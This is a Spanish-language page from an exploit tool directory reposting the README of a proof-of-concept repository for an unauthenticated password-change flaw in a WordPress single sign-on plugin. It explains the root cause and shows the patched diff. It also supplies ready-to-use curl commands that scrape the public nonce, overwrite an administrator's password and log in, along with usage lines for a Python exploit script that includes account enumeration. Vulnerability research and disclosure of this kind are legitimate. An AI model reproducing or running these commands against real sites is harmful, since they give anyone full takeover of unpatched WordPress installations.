Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-15964-PoC — PoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Herramientas/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticación y AutorizaciónEscalada de PrivilegiosEscáneres de Vulnerabilidades WebExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Ver Repositorio
113hace 2 mesesAún no revisado
Compartir

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalada de privilegios no autenticada mediante cambio de contraseña no verificado en el plugin de WordPress Single Sign On For TNG.

GravedadCrítico (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Cambio de contraseña no verificado)
Afectaversiones del plugin 1.0.0 a 2.0.0
Corregido en2.1.0 (publicado el 2026-07-27)
Publicado2026-08-01
Autenticación requeridaninguna (wp_ajax_nopriv_ssoprocess_ajax)
Impactocambiar la contraseña de cualquier cuenta de WordPress, incluidos los administradores: toma de control total del sitio
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Cualquier visitante no autenticado puede cambiar la contraseña de cualquier cuenta en un sitio que ejecute el plugin en la versión 2.0.0 o anterior. Dos peticiones HTTP:

  1. Haz GET a la página de inicio y copia el nonce del objeto JavaScript SSOPWDREQUIREMENT.
  2. Haz POST a admin-ajax.php con operation=setnewpassword, el correo de la víctima y una nueva contraseña.

El reset_password() del núcleo de WordPress hace el resto. Sin token, sin enlace de confirmación por correo, sin comprobación de capacidades. Después, inicia sesión como administrador.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Por qué funciona

El manejador está registrado para usuarios no autenticados

En single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa que el manejador es accesible sin sesión alguna.

La única protección es un nonce que el plugin entrega a cada visitante

load_scripts() está enganchado a wp_enqueue_scripts, por lo que en todas las páginas del front-end el plugin imprime esto en el HTML:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Que se renderiza como:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

Y el manejador lo verifica de esta manera:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

El problema: WordPress calcula los nonces con wp_create_nonce($action) usando el uid y el token de sesión. Para los visitantes sin sesión esos valores son 0 y una cadena vacía, lo que significa que todos los visitantes anónimos reciben exactamente el mismo nonce. Solo se regenera cada 12 horas (el tick del nonce). Así que el nonce que el plugin imprime para cualquier visitante también es válido para el atacante: no hay ningún secreto que robar, está publicado en la propia página.

Y luego el cambio real, sin ninguna prueba de titularidad

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() es una función del núcleo de WordPress. Establece el nuevo hash, cierra la sesión de la víctima en todas las demás sesiones y dispara las acciones password_reset / after_password_reset. Aquí se llama sin que nada demuestre que quien la invoca es el propietario de la cuenta.

Dos detalles adicionales que vale la pena conocer:

  • No hay comprobación de fortaleza de contraseña en el servidor en esta ruta. Las reglas MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin solo se aplican en validate_form() para los formularios de Forminator, nunca aquí. Se acepta cualquier contraseña.
  • Enumeración de cuentas. {"success":true} frente a {"success":false} te indica si un correo está registrado. El modo --enum-only del checker usa esto.
  • Bug adicional en la misma función: operation=set_tzoffset llama a update_option('localtzoffset', $post['timezoneoffset']) sin autenticación. No es directamente explotable para RCE, pero es una escritura de opción no autenticada y merece la pena mencionarlo en el writeup.

Qué cambió en 2.1.0

Comparando 2.0.0 con 2.1.0, el arreglo es evidente (y confirma el bug):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

además, en newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Así que en 2.1.0 el flujo es: una solicitud de recuperación real almacena un custom_recovery_token + custom_recovery_nonce por usuario en los meta datos del usuario, el enlace de recuperación lleva el id de usuario, el formulario valida ambos y el manejador AJAX se niega a ejecutarse una vez que la ventana de recuperación (timeout) ha expirado. Un atacante que no pueda generar un registro de recuperación válido ya no puede invocar setnewpassword.


Reproducción (manual)

Paso 1: extraer el nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Paso 2: cambiar la contraseña

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Respuesta esperada en una instalación vulnerable: {"success":true}

Paso 3: iniciar sesión

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit para un solo sitio. Incluye modos no destructivos.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
Descargar herramienta